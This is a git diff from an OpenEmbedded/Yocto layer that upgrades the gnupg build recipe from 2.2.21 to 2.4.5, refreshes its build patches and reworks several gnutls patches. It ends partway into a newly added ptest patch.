-@@ -80,26 +56,13 @@ AC_DEFUN([GNUPG_PTH_VERSION_CHECK],
- # PTH_CLFAGS and PTH_LIBS are AS_SUBST.
- #
- AC_DEFUN([GNUPG_PATH_PTH],
--[ AC_ARG_WITH(pth-prefix,
-- AC_HELP_STRING([--with-pth-prefix=PFX],
-- [prefix where GNU Pth is installed (optional)]),
-- pth_config_prefix="$withval", pth_config_prefix="")
-- if test x$pth_config_prefix != x ; then
-- PTH_CONFIG="$pth_config_prefix/bin/pth-config"
-- fi
-- AC_PATH_PROG(PTH_CONFIG, pth-config, no)
-+[
- tmp=ifelse([$1], ,1.3.7,$1)
-- if test "$PTH_CONFIG" != "no"; then
-- GNUPG_PTH_VERSION_CHECK($tmp)
-- if test $have_pth = yes; then
-- PTH_CFLAGS=`$PTH_CONFIG --cflags`
-- PTH_LIBS=`$PTH_CONFIG --ldflags`
-- PTH_LIBS="$PTH_LIBS `$PTH_CONFIG --libs --all`"
-- AC_DEFINE(HAVE_PTH, 1,
-+ GNUPG_PTH_VERSION_CHECK($tmp)
-+ if test $have_pth = yes; then
-+ AC_DEFINE(HAVE_PTH, 1,
- [Defined if the GNU Pth is available])
-- fi
- fi
- AC_SUBST(PTH_CFLAGS)
- AC_SUBST(PTH_LIBS)
- ])
--
---
-1.8.3.1
-
diff --git a/meta/recipes-support/gnupg/gnupg/0001-configure.ac-use-a-custom-value-for-the-location-of-.patch b/meta/recipes-support/gnupg/gnupg/0001-configure.ac-use-a-custom-value-for-the-location-of-.patch
index 0e78f5679e..f957f6b55e 100644
--- a/meta/recipes-support/gnupg/gnupg/0001-configure.ac-use-a-custom-value-for-the-location-of-.patch
+++ b/meta/recipes-support/gnupg/gnupg/0001-configure.ac-use-a-custom-value-for-the-location-of-.patch
@@ -1,4 +1,4 @@
-From 0e51c62706a8c54e90a2d98c5250ecc894c65182 Mon Sep 17 00:00:00 2001
+From 6b581c43bd01f815db78a410fd3814fc5994171e Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Mon, 22 Jan 2018 18:00:21 +0200
Subject: [PATCH] configure.ac: use a custom value for the location of
@@ -14,10 +14,10 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/configure.ac b/configure.ac
-index f3c9863..a57f559 100644
+index 26d7f7b..e953c2e 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -1856,7 +1856,7 @@ AC_DEFINE_UNQUOTED(GPGCONF_DISP_NAME, "GPGConf",
+@@ -1921,7 +1921,7 @@ AC_DEFINE_UNQUOTED(GPGCONF_DISP_NAME, "GPGConf",
AC_DEFINE_UNQUOTED(GPGTAR_NAME, "gpgtar", [The name of the gpgtar tool])
diff --git a/meta/recipes-support/gnupg/gnupg/0002-use-pkgconfig-instead-of-npth-config.patch b/meta/recipes-support/gnupg/gnupg/0002-use-pkgconfig-instead-of-npth-config.patch
index 6d86e5c99b..0e58fd4c4d 100644
--- a/meta/recipes-support/gnupg/gnupg/0002-use-pkgconfig-instead-of-npth-config.patch
+++ b/meta/recipes-support/gnupg/gnupg/0002-use-pkgconfig-instead-of-npth-config.patch
@@ -1,7 +1,7 @@
-From 53c2aec2e13f4e2d09be7148869c862f07dfdd4d Mon Sep 17 00:00:00 2001
+From d9048788d906774b1475c3bb1b17e22455c2add4 Mon Sep 17 00:00:00 2001
From: Saul Wold <sgw@linux.intel.com>
Date: Wed, 16 Aug 2017 11:16:30 +0800
-Subject: [PATCH 2/4] use pkgconfig instead of npth config
+Subject: [PATCH] use pkgconfig instead of npth config
Upstream-Status: Inappropriate [openembedded specific]
@@ -9,29 +9,45 @@ Signed-off-by: Saul Wold <sgw@linux.intel.com>
Rebase to 2.1.23
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
---
- m4/npth.m4 | 34 ++++++++--------------------------
- 1 file changed, 8 insertions(+), 26 deletions(-)
+ m4/npth.m4 | 53 ++++++++---------------------------------------------
+ 1 file changed, 8 insertions(+), 45 deletions(-)
diff --git a/m4/npth.m4 b/m4/npth.m4
-index 17c2644..15a931b 100644
+index 619ed89..0cb354d 100644
--- a/m4/npth.m4
+++ b/m4/npth.m4
-@@ -17,10 +17,10 @@ AC_DEFUN([_AM_PATH_NPTH_CONFIG],
+@@ -19,25 +19,10 @@ AC_DEFUN([_AM_PATH_NPTH_CONFIG],
if test "x$npth_config_prefix" != x ; then
NPTH_CONFIG="$npth_config_prefix/bin/npth-config"
fi
-- AC_PATH_PROG(NPTH_CONFIG, npth-config, no)
+ AC_PATH_PROG(PKGCONFIG, pkg-config, no)
+- use_gpgrt_config=""
+- if test x"$GPGRT_CONFIG" != x -a "$GPGRT_CONFIG" != "no"; then
+- if $GPGRT_CONFIG npth --exists; then
+- NPTH_CONFIG="$GPGRT_CONFIG npth"
+- AC_MSG_NOTICE([Use gpgrt-config as npth-config])
+- use_gpgrt_config=yes
+- fi
+- fi
+- if test -z "$use_gpgrt_config"; then
+- AC_PATH_PROG(NPTH_CONFIG, npth-config, no)
+- fi
+-
- if test "$NPTH_CONFIG" != "no" ; then
-- npth_version=`$NPTH_CONFIG --version`
+- if test -z "$use_gpgrt_config"; then
+- npth_version=`$NPTH_CONFIG --version`
+- else
+- npth_version=`$NPTH_CONFIG --modversion`
+- fi
+ if test "$PKGCONFIG" != "no" ; then
+ npth_version=`$PKGCONFIG --modversion npth`
fi
npth_version_major=`echo $npth_version | \
sed 's/\([[0-9]]*\)\.\([[0-9]]*\).*/\1/'`
-@@ -45,7 +45,7 @@ AC_DEFUN([AM_PATH_NPTH],
+@@ -62,7 +47,7 @@ AC_DEFUN([AM_PATH_NPTH],
AC_MSG_CHECKING(for NPTH - version >= $min_npth_version)
ok=no
@@ -40,7 +56,7 @@ index 17c2644..15a931b 100644
req_major=`echo $min_npth_version | \
sed 's/\([[0-9]]*\)\.\([[0-9]]*\)/\1/'`
req_minor=`echo $min_npth_version | \
-@@ -66,28 +66,9 @@ AC_DEFUN([AM_PATH_NPTH],
+@@ -83,32 +68,9 @@ AC_DEFUN([AM_PATH_NPTH],
fi
if test $ok = yes; then
AC_MSG_RESULT([yes ($npth_version)])
@@ -48,20 +64,24 @@ index 17c2644..15a931b 100644
- AC_MSG_RESULT(no)
- fi
- if test $ok = yes; then
-- # If we have a recent NPTH, we should also check that the
-- # API is compatible.
-- if test "$req_npth_api" -gt 0 ; then
+- # If we have a recent NPTH, we should also check that the
+- # API is compatible.
+- if test "$req_npth_api" -gt 0 ; then
+- if test -z "$use_gpgrt_config"; then
- tmp=`$NPTH_CONFIG --api-version 2>/dev/null || echo 0`
-- if test "$tmp" -gt 0 ; then
-- AC_MSG_CHECKING([NPTH API version])
-- if test "$req_npth_api" -eq "$tmp" ; then
-- AC_MSG_RESULT([okay])
-- else
-- ok=no
-- AC_MSG_RESULT([does not match. want=$req_npth_api got=$tmp])
-- fi
+- else
+- tmp=`$NPTH_CONFIG --variable=api_version 2>/dev/null || echo 0`
+- fi
+- if test "$tmp" -gt 0 ; then
+- AC_MSG_CHECKING([NPTH API version])
+- if test "$req_npth_api" -eq "$tmp" ; then
+- AC_MSG_RESULT([okay])
+- else
+- ok=no
+- AC_MSG_RESULT([does not match. want=$req_npth_api got=$tmp])
- fi
-- fi
+- fi
+- fi
- fi
- if test $ok = yes; then
- NPTH_CFLAGS=`$NPTH_CONFIG --cflags`
@@ -70,9 +90,9 @@ index 17c2644..15a931b 100644
+ NPTH_LIBS=`$PKGCONFIG --libs npth`
+ AC_MSG_WARN([[GOT HERE - $NPTH_LIBS ]])
ifelse([$2], , :, [$2])
- npth_config_host=`$NPTH_CONFIG --host 2>/dev/null || echo none`
- if test x"$npth_config_host" != xnone ; then
-@@ -103,6 +84,7 @@ AC_DEFUN([AM_PATH_NPTH],
+ if test -z "$use_gpgrt_config"; then
+ npth_config_host=`$NPTH_CONFIG --host 2>/dev/null || echo none`
+@@ -128,6 +90,7 @@ AC_DEFUN([AM_PATH_NPTH],
fi
fi
else
@@ -80,6 +100,3 @@ index 17c2644..15a931b 100644
NPTH_CFLAGS=""
NPTH_LIBS=""
ifelse([$3], , :, [$3])
---
-1.8.3.1
-
diff --git a/meta/recipes-support/gnupg/gnupg/0003-dirmngr-uses-libgpg-error.patch b/meta/recipes-support/gnupg/gnupg/0003-dirmngr-uses-libgpg-error.patch
deleted file mode 100644
index 3e798efd06..0000000000
--- a/meta/recipes-support/gnupg/gnupg/0003-dirmngr-uses-libgpg-error.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From 9c3858ffda6246bf9e1e6aeeb920532a56b19408 Mon Sep 17 00:00:00 2001
-From: Saul Wold <sgw@linux.intel.com>
-Date: Wed, 16 Aug 2017 11:18:01 +0800
-Subject: [PATCH 3/4] dirmngr uses libgpg error
-
-Upstream-Status: Pending
-Signed-off-by: Saul Wold <sgw@linux.intel.com>
-
-Rebase to 2.1.23
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- dirmngr/Makefile.am | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/dirmngr/Makefile.am b/dirmngr/Makefile.am
-index b404165..d3f916e 100644
---- a/dirmngr/Makefile.am
-+++ b/dirmngr/Makefile.am
-@@ -82,7 +82,8 @@ endif
- dirmngr_LDADD = $(libcommonpth) \
- $(DNSLIBS) $(LIBASSUAN_LIBS) \
- $(LIBGCRYPT_LIBS) $(KSBA_LIBS) $(NPTH_LIBS) \
-- $(NTBTLS_LIBS) $(LIBGNUTLS_LIBS) $(LIBINTL) $(LIBICONV)
-+ $(NTBTLS_LIBS) $(LIBGNUTLS_LIBS) $(LIBINTL) $(LIBICONV) \
-+ $(GPG_ERROR_LIBS)
- if USE_LDAP
- dirmngr_LDADD += $(ldaplibs)
- endif
---
-1.8.3.1
-
diff --git a/meta/recipes-support/gnupg/gnupg/0004-autogen.sh-fix-find-version-for-beta-checking.patch b/meta/recipes-support/gnupg/gnupg/0004-autogen.sh-fix-find-version-for-beta-checking.patch
index dcd8582ca6..d664c36a1b 100644
--- a/meta/recipes-support/gnupg/gnupg/0004-autogen.sh-fix-find-version-for-beta-checking.patch
+++ b/meta/recipes-support/gnupg/gnupg/0004-autogen.sh-fix-find-version-for-beta-checking.patch
@@ -1,7 +1,7 @@
-From 914ae4a3f7529fb069467bf0ded57dd24ee2e763 Mon Sep 17 00:00:00 2001
+From 6a7f9b71d936847dcaeeac7d1b69d8299be4dd85 Mon Sep 17 00:00:00 2001
From: Wenzong Fan <wenzong.fan@windriver.com>
Date: Wed, 16 Aug 2017 11:23:22 +0800
-Subject: [PATCH 4/4] autogen.sh: fix find-version for beta checking
+Subject: [PATCH] autogen.sh: fix find-version for beta checking
find-version always assumes that gnupg is beta if autogen.sh is run
out of git-repo. This doesn't work for users whom just take release
@@ -13,15 +13,16 @@ Signed-off-by: Wenzong Fan <wenzong.fan@windriver.com>
Rebase to 2.1.23
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
---
autogen.sh | 1 -
1 file changed, 1 deletion(-)
diff --git a/autogen.sh b/autogen.sh
-index e5ba5bf..05e0e11 100755
+index 0abf103..78753b5 100755
--- a/autogen.sh
+++ b/autogen.sh
-@@ -245,7 +245,6 @@ if [ "$myhost" = "find-version" ]; then
+@@ -237,7 +237,6 @@ if [ "$myhost" = "find-version" ]; then
rvd=$((0x$(echo ${rev} | dd bs=1 count=4 2>/dev/null)))
else
ingit=no
@@ -29,6 +30,3 @@ index e5ba5bf..05e0e11 100755
tmp="-unknown"
rev="0000000"
rvd="0"
---
-1.8.3.1
-
diff --git a/meta/recipes-support/gnupg/gnupg/relocate.patch b/meta/recipes-support/gnupg/gnupg/relocate.patch
index 25732a8277..ea0252026a 100644
--- a/meta/recipes-support/gnupg/gnupg/relocate.patch
+++ b/meta/recipes-support/gnupg/gnupg/relocate.patch
@@ -1,4 +1,4 @@
-From 6e3b1d89758c3ee7072aeefa305ce5fe76f2e439 Mon Sep 17 00:00:00 2001
+From c50d0a95fcf8f96c272fadd4ba85f3eeac39fcaf Mon Sep 17 00:00:00 2001
From: Ross Burton <ross.burton@intel.com>
Date: Wed, 19 Sep 2018 14:44:40 +0100
Subject: [PATCH] Allow the environment to override where gnupg looks for its
@@ -7,83 +7,76 @@ Subject: [PATCH] Allow the environment to override where gnupg looks for its
Upstream-Status: Inappropriate [OE-specific]
Signed-off-by: Ross Burton <ross.burton@intel.com>
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+
---
- common/homedir.c | 16 ++++++++--------
- 1 file changed, 8 insertions(+), 8 deletions(-)
+ common/homedir.c | 14 +++++++-------
+ 1 file changed, 7 insertions(+), 7 deletions(-)
diff --git a/common/homedir.c b/common/homedir.c
-index 4b6e46e..58989b4 100644
+index 6f99f3e..f22aa9e 100644
--- a/common/homedir.c
+++ b/common/homedir.c
-@@ -763,7 +763,7 @@ gnupg_socketdir (void)
+@@ -1284,7 +1284,7 @@ gnupg_socketdir (void)
if (!name)
{
unsigned int dummy;
- name = _gnupg_socketdir_internal (0, &dummy);
+ name = getenv("GNUPG_SOCKETDIR") ?: _gnupg_socketdir_internal (0, &dummy);
+ gpgrt_annotate_leaked_object (name);
}
- return name;
-@@ -789,7 +789,7 @@ gnupg_sysconfdir (void)
- }
- return name;
- #else /*!HAVE_W32_SYSTEM*/
-- return GNUPG_SYSCONFDIR;
-+ return getenv("GNUPG_SYSCONFDIR") ?: GNUPG_SYSCONFDIR;
- #endif /*!HAVE_W32_SYSTEM*/
- }
-
-@@ -818,7 +818,7 @@ gnupg_bindir (void)
+@@ -1316,7 +1316,7 @@ gnupg_sysconfdir (void)
+ if (dir)
+ return dir;
else
- return rdir;
- #else /*!HAVE_W32_SYSTEM*/
-- return GNUPG_BINDIR;
-+ return getenv("GNUPG_BINDIR") ?: GNUPG_BINDIR;
+- return GNUPG_SYSCONFDIR;
++ return getenv("GNUPG_SYSCONFDIR") ?: GNUPG_SYSCONFDIR;
#endif /*!HAVE_W32_SYSTEM*/
}
-@@ -831,7 +831,7 @@ gnupg_libexecdir (void)
- #ifdef HAVE_W32_SYSTEM
- return gnupg_bindir ();
- #else /*!HAVE_W32_SYSTEM*/
-- return GNUPG_LIBEXECDIR;
-+ return getenv("GNUPG_LIBEXECDIR") ?: GNUPG_LIBEXECDIR;
+@@ -1352,7 +1352,7 @@ gnupg_bindir (void)
+ return name;
+ }
+ else
+- return GNUPG_BINDIR;
++ return getenv("GNUPG_BINDIR") ?: GNUPG_BINDIR;
#endif /*!HAVE_W32_SYSTEM*/
}
-@@ -845,7 +845,7 @@ gnupg_libdir (void)
- name = xstrconcat (w32_rootdir (), DIRSEP_S "lib" DIRSEP_S "gnupg", NULL);
- return name;
- #else /*!HAVE_W32_SYSTEM*/
-- return GNUPG_LIBDIR;
-+ return getenv("GNUPG_LIBDIR") ?: GNUPG_LIBDIR;
+@@ -1379,7 +1379,7 @@ gnupg_libexecdir (void)
+ return name;
+ }
+ else
+- return GNUPG_LIBEXECDIR;
++ return getenv("GNUPG_LIBEXECDIR") ?: GNUPG_LIBEXECDIR;
#endif /*!HAVE_W32_SYSTEM*/
}
-@@ -859,7 +859,7 @@ gnupg_datadir (void)
- name = xstrconcat (w32_rootdir (), DIRSEP_S "share" DIRSEP_S "gnupg", NULL);
- return name;
- #else /*!HAVE_W32_SYSTEM*/
-- return GNUPG_DATADIR;
-+ return getenv("GNUPG_DATADIR") ?: GNUPG_DATADIR;
+@@ -1409,7 +1409,7 @@ gnupg_libdir (void)
+ return name;
+ }
+ else
+- return GNUPG_LIBDIR;
++ return getenv("GNUPG_LIBDIR") ?: GNUPG_LIBDIR;
#endif /*!HAVE_W32_SYSTEM*/
}
-@@ -875,7 +875,7 @@ gnupg_localedir (void)
- NULL);
- return name;
- #else /*!HAVE_W32_SYSTEM*/
-- return LOCALEDIR;
-+ return getenv("LOCALEDIR") ?: LOCALEDIR;
+@@ -1440,7 +1440,7 @@ gnupg_datadir (void)
+ return name;
+ }
+ else
+- return GNUPG_DATADIR;
++ return getenv("GNUPG_DATADIR") ?: GNUPG_DATADIR;
#endif /*!HAVE_W32_SYSTEM*/
}
-@@ -943,7 +943,7 @@ gnupg_cachedir (void)
+@@ -1472,7 +1472,7 @@ gnupg_localedir (void)
+ return name;
}
- return dir;
- #else /*!HAVE_W32_SYSTEM*/
-- return GNUPG_LOCALSTATEDIR "/cache/" PACKAGE_NAME;
-+ return getenv("GNUPG_LOCALSTATEDIR") ?: GNUPG_LOCALSTATEDIR "/cache/" PACKAGE_NAME;
+ else
+- return LOCALEDIR;
++ return getenv("LOCALEDIR") ?: LOCALEDIR;
#endif /*!HAVE_W32_SYSTEM*/
}
diff --git a/meta/recipes-support/gnupg/gnupg_2.2.21.bb b/meta/recipes-support/gnupg/gnupg_2.2.21.bb
deleted file mode 100644
index 701d769e64..0000000000
--- a/meta/recipes-support/gnupg/gnupg_2.2.21.bb
+++ /dev/null
@@ -1,80 +0,0 @@
-SUMMARY = "GNU Privacy Guard - encryption and signing tools (2.x)"
-HOMEPAGE = "http://www.gnupg.org/"
-LICENSE = "GPLv3 & LGPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=189af8afca6d6075ba6c9e0aa8077626 \
- file://COPYING.LGPL3;md5=a2b6bf2cb38ee52619e60f30a1fc7257"
-
-DEPENDS = "npth libassuan libksba zlib bzip2 readline libgcrypt"
-
-inherit autotools gettext texinfo pkgconfig
-
-UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
-SRC_URI = "${GNUPG_MIRROR}/${BPN}/${BPN}-${PV}.tar.bz2 \
- file://0001-Use-pkg-config-to-find-pth-instead-of-pth-config.patch \
- file://0002-use-pkgconfig-instead-of-npth-config.patch \
- file://0003-dirmngr-uses-libgpg-error.patch \
- file://0004-autogen.sh-fix-find-version-for-beta-checking.patch \
- file://0001-Woverride-init-is-not-needed-with-gcc-9.patch \
- "
-SRC_URI_append_class-native = " file://0001-configure.ac-use-a-custom-value-for-the-location-of-.patch \
- file://relocate.patch"
-SRC_URI_append_class-nativesdk = " file://relocate.patch"
-
-SRC_URI[sha256sum] = "61e83278fb5fa7336658a8b73ab26f379d41275bb1c7c6e694dd9f9a6e8e76ec"
-
-EXTRA_OECONF = "--disable-ldap \
- --disable-ccid-driver \
- --with-zlib=${STAGING_LIBDIR}/.. \
- --with-bzip2=${STAGING_LIBDIR}/.. \
- --with-readline=${STAGING_LIBDIR}/.. \
- --enable-gpg-is-gpg2 \
- "
-
-# A minimal package containing just enough to run gpg+gpgagent (E.g. use gpgme in opkg)
-PACKAGES =+ "${PN}-gpg"
-FILES_${PN}-gpg = " \
- ${bindir}/gpg \
- ${bindir}/gpg2 \
- ${bindir}/gpg-agent \
-"
-
-# Normal package (gnupg) should depend on minimal package (gnupg-gpg)
-# to ensure all tools are included. This is done only in non-native
-# builds. Native builds don't have sub-packages, so appending RDEPENDS
-# in this case breaks recipe parsing.
-RDEPENDS_${PN} += "${@ "" if ("native" in d.getVar("PN")) else (d.getVar("PN") + "-gpg")}"
-
-RRECOMMENDS_${PN} = "pinentry"
-
-do_configure_prepend () {
- # Else these could be used in prefernce to those in aclocal-copy
- rm -f ${S}/m4/gpg-error.m4
- rm -f ${S}/m4/libassuan.m4
- rm -f ${S}/m4/ksba.m4
- rm -f ${S}/m4/libgcrypt.m4
-}
-
-do_install_append() {
- ln -sf gpg2 ${D}${bindir}/gpg
- ln -sf gpgv2 ${D}${bindir}/gpgv
-}
-
-do_install_append_class-native() {
- create_wrappers ${STAGING_BINDIR_NATIVE}
-}
-
-do_install_append_class-nativesdk() {
- create_wrappers ${SDKPATHNATIVE}${bindir_nativesdk}
-}
-
-create_wrappers() {
- for i in gpg2 gpgconf gpg-agent gpg-connect-agent; do
- create_wrapper ${D}${bindir}/$i GNUPG_BINDIR=$1
- done
-}
-
-PACKAGECONFIG ??= "gnutls"
-PACKAGECONFIG[gnutls] = "--enable-gnutls, --disable-gnutls, gnutls"
-PACKAGECONFIG[sqlite3] = "--enable-sqlite, --disable-sqlite, sqlite3"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/gnupg/gnupg_2.4.5.bb b/meta/recipes-support/gnupg/gnupg_2.4.5.bb
new file mode 100644
index 0000000000..99996968b1
--- /dev/null
+++ b/meta/recipes-support/gnupg/gnupg_2.4.5.bb
@@ -0,0 +1,90 @@
+SUMMARY = "GNU Privacy Guard - encryption and signing tools (2.x)"
+DESCRIPTION = "A complete and free implementation of the OpenPGP standard \
+as defined by RFC4880 (also known as PGP). GnuPG allows you to encrypt \
+and sign your data and communications; it features a versatile key \
+management system, along with access modules for all kinds of public \
+key directories."
+HOMEPAGE = "http://www.gnupg.org/"
+LICENSE = "GPL-3.0-only & LGPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=189af8afca6d6075ba6c9e0aa8077626 \
+ file://COPYING.LGPL3;md5=a2b6bf2cb38ee52619e60f30a1fc7257"
+
+DEPENDS = "npth libassuan libksba zlib bzip2 readline libgcrypt"
+
+inherit autotools gettext texinfo pkgconfig
+
+UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
+SRC_URI = "${GNUPG_MIRROR}/${BPN}/${BPN}-${PV}.tar.bz2 \
+ file://0002-use-pkgconfig-instead-of-npth-config.patch \
+ file://0004-autogen.sh-fix-find-version-for-beta-checking.patch \
+ file://0001-Woverride-init-is-not-needed-with-gcc-9.patch \
+ "
+SRC_URI:append:class-native = " file://0001-configure.ac-use-a-custom-value-for-the-location-of-.patch \
+ file://relocate.patch"
+SRC_URI:append:class-nativesdk = " file://relocate.patch"
+
+SRC_URI[sha256sum] = "f68f7d75d06cb1635c336d34d844af97436c3f64ea14bcb7c869782f96f44277"
+
+EXTRA_OECONF = "--disable-ldap \
+ --disable-ccid-driver \
+ --with-zlib=${STAGING_LIBDIR}/.. \
+ --with-bzip2=${STAGING_LIBDIR}/.. \
+ --with-readline=${STAGING_LIBDIR}/.. \
+ --with-mailprog=${sbindir}/sendmail \
+ --enable-gpg-is-gpg2 \
+ --disable-tests \
+ "
+# yat2m can be found from recipe-sysroot-native non-deterministically with different versioning otherwise
+CACHED_CONFIGUREVARS += "ac_cv_path_YAT2M=./yat2m"
+
+# A minimal package containing just enough to run gpg+gpgagent (E.g. use gpgme in opkg)
+PACKAGES =+ "${PN}-gpg"
+FILES:${PN}-gpg = " \
+ ${bindir}/gpg \
+ ${bindir}/gpg2 \
+ ${bindir}/gpg-agent \
+"
+
+# Normal package (gnupg) should depend on minimal package (gnupg-gpg)
+# to ensure all tools are included. This is done only in non-native
+# builds. Native builds don't have sub-packages, so appending RDEPENDS
+# in this case breaks recipe parsing.
+RDEPENDS:${PN} += "${@ "" if ("native" in d.getVar("PN")) else (d.getVar("PN") + "-gpg")}"
+
+RRECOMMENDS:${PN} = "pinentry"
+
+do_configure:prepend () {
+ # Else these could be used in prefernce to those in aclocal-copy
+ rm -f ${S}/m4/gpg-error.m4
+ rm -f ${S}/m4/libassuan.m4
+ rm -f ${S}/m4/ksba.m4
+ rm -f ${S}/m4/libgcrypt.m4
+}
+
+do_install:append() {
+ ln -sf gpg2 ${D}${bindir}/gpg
+ ln -sf gpgv2 ${D}${bindir}/gpgv
+}
+
+do_install:append:class-native() {
+ create_wrappers ${STAGING_BINDIR_NATIVE}
+}
+
+do_install:append:class-nativesdk() {
+ create_wrappers ${SDKPATHNATIVE}${bindir_nativesdk}
+}
+
+create_wrappers() {
+ for i in gpg2 gpgconf gpg-agent gpg-connect-agent; do
+ create_wrapper ${D}${bindir}/$i GNUPG_BINDIR=$1
+ done
+}
+
+PACKAGECONFIG ??= "gnutls"
+PACKAGECONFIG[gnutls] = "--enable-gnutls, --disable-gnutls, gnutls"
+PACKAGECONFIG[sqlite3] = "--enable-sqlite, --disable-sqlite, sqlite3"
+
+BBCLASSEXTEND = "native nativesdk"
+
+lcl_maybe_fortify:mipsarch = ""
+
diff --git a/meta/recipes-support/gnutls/gnutls/0001-Creating-.hmac-file-should-be-excuted-in-target-envi.patch b/meta/recipes-support/gnutls/gnutls/0001-Creating-.hmac-file-should-be-excuted-in-target-envi.patch
new file mode 100644
index 0000000000..d13bfee8ef
--- /dev/null
+++ b/meta/recipes-support/gnutls/gnutls/0001-Creating-.hmac-file-should-be-excuted-in-target-envi.patch
@@ -0,0 +1,26 @@
+From 7be8ec59a53e93c2bd453b3ba2d63d1b300ef11f Mon Sep 17 00:00:00 2001
+From: Lei Maohui <leimaohui@fujitsu.com>
+Date: Mon, 23 May 2022 10:44:43 +0900
+Subject: [PATCH] Creating .hmac file should be excuted in target environment,
+ so deleted it from build process.
+
+Upstream-Status: Inappropriate [https://gitlab.com/gnutls/gnutls/-/issues/1373]
+Signed-off-by: Lei Maohui <leimaohui@fujitsu.com>
+---
+ lib/Makefile.am | 3 +--
+ 1 file changed, 1 insertion(+), 2 deletions(-)
+
+diff --git a/lib/Makefile.am b/lib/Makefile.am
+index a50d311..193ea19 100644
+--- a/lib/Makefile.am
++++ b/lib/Makefile.am
+@@ -198,8 +198,7 @@ hmac_file = .libs/.$(gnutls_so).hmac
+
+ all-local: $(hmac_file)
+
+-$(hmac_file): libgnutls.la fipshmac
+- $(AM_V_GEN) $(builddir)/fipshmac > $@-t && mv $@-t $@
++.libs/.$(gnutls_so).hmac:
+
+ CLEANFILES = $(hmac_file)
+ endif
diff --git a/meta/recipes-support/gnutls/gnutls/0001-Modied-the-license-to-GPLv2.1-to-keep-with-LICENSE-f.patch b/meta/recipes-support/gnutls/gnutls/0001-Modied-the-license-to-GPLv2.1-to-keep-with-LICENSE-f.patch
deleted file mode 100644
index a610abf9b5..0000000000
--- a/meta/recipes-support/gnutls/gnutls/0001-Modied-the-license-to-GPLv2.1-to-keep-with-LICENSE-f.patch
+++ /dev/null
@@ -1,90 +0,0 @@
-From c0ae3f659c6c130d151378ba4d7d861e3b7b970f Mon Sep 17 00:00:00 2001
-From: Lei Maohui <leimaohui@cn.fujitsu.com>
-Date: Wed, 8 Jul 2020 14:50:27 +0900
-Subject: [PATCH] Modied the license to GPLv2.1+ to keep with LICENSE file.
-
-Signed-off-by: Lei Maohui <leimaohui@cn.fujitsu.com>
-Please reference to https://gitlab.com/gnutls/gnutls/-/issues/1018.
-Upstream-Status: Backport [https://gitlab.com/gnutls/gnutls/-/merge_requests/1285].
----
- lib/x509/krb5.c | 20 +++++++++++---------
- lib/x509/krb5.h | 20 +++++++++++---------
- 2 files changed, 22 insertions(+), 18 deletions(-)
-
-diff --git a/lib/x509/krb5.c b/lib/x509/krb5.c
-index 7fe84e6..d68c737 100644
---- a/lib/x509/krb5.c
-+++ b/lib/x509/krb5.c
-@@ -1,21 +1,23 @@
- /*
- * Copyright (C) 2015 Red Hat, Inc.
- *
-+ * Author: Nikos Mavrogiannopoulos
-+ *
- * This file is part of GnuTLS.
- *
-- * GnuTLS is free software: you can redistribute it and/or modify it
-- * under the terms of the GNU General Public License as published by
-- * the Free Software Foundation, either version 3 of the License, or
-- * (at your option) any later version.
-+ * The GnuTLS is free software; you can redistribute it and/or
-+ * modify it under the terms of the GNU Lesser General Public License
-+ * as published by the Free Software Foundation; either version 2.1 of
-+ * the License, or (at your option) any later version.
- *
-- * GnuTLS is distributed in the hope that it will be useful, but
-+ * This library is distributed in the hope that it will be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-- * General Public License for more details.
-+ * Lesser General Public License for more details.
-+ *
-+ * You should have received a copy of the GNU Lesser General Public License
-+ * along with this program. If not, see <https://www.gnu.org/licenses/>
- *
-- * You should have received a copy of the GNU General Public License
-- * along with this program. If not, see
-- * <https://www.gnu.org/licenses/>.
- */
-
- #include <config.h>
-diff --git a/lib/x509/krb5.h b/lib/x509/krb5.h
-index d8926af..815bb28 100644
---- a/lib/x509/krb5.h
-+++ b/lib/x509/krb5.h
-@@ -1,21 +1,23 @@
- /*
- * Copyright (C) 2015 Red Hat, Inc.
- *
-+ * Author: Nikos Mavrogiannopoulos
-+ *
- * This file is part of GnuTLS.
- *
-- * GnuTLS is free software: you can redistribute it and/or modify it
-- * under the terms of the GNU General Public License as published by
-- * the Free Software Foundation, either version 3 of the License, or
-- * (at your option) any later version.
-+ * The GnuTLS is free software; you can redistribute it and/or
-+ * modify it under the terms of the GNU Lesser General Public License
-+ * as published by the Free Software Foundation; either version 2.1 of
-+ * the License, or (at your option) any later version.
- *
-- * GnuTLS is distributed in the hope that it will be useful, but
-+ * This library is distributed in the hope that it will be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-- * General Public License for more details.
-+ * Lesser General Public License for more details.
-+ *
-+ * You should have received a copy of the GNU Lesser General Public License
-+ * along with this program. If not, see <https://www.gnu.org/licenses/>
- *
-- * You should have received a copy of the GNU General Public License
-- * along with this program. If not, see
-- * <https://www.gnu.org/licenses/>.
- */
-
- #ifndef GNUTLS_LIB_X509_KRB5_H
---
-2.17.1
-
diff --git a/meta/recipes-support/gnutls/gnutls/Add-ptest-support.patch b/meta/recipes-support/gnutls/gnutls/Add-ptest-support.patch
new file mode 100644
index 0000000000..1152d3797f
--- /dev/null
+++ b/meta/recipes-support/gnutls/gnutls/Add-ptest-support.patch
@@ -0,0 +1,57 @@
+From ff6a345235b2585c261752e47a749228672b07dc Mon Sep 17 00:00:00 2001
+From: Ravineet Singh <ravineet.a.singh@est.tech>
+Date: Tue, 10 Jan 2023 16:11:10 +0100
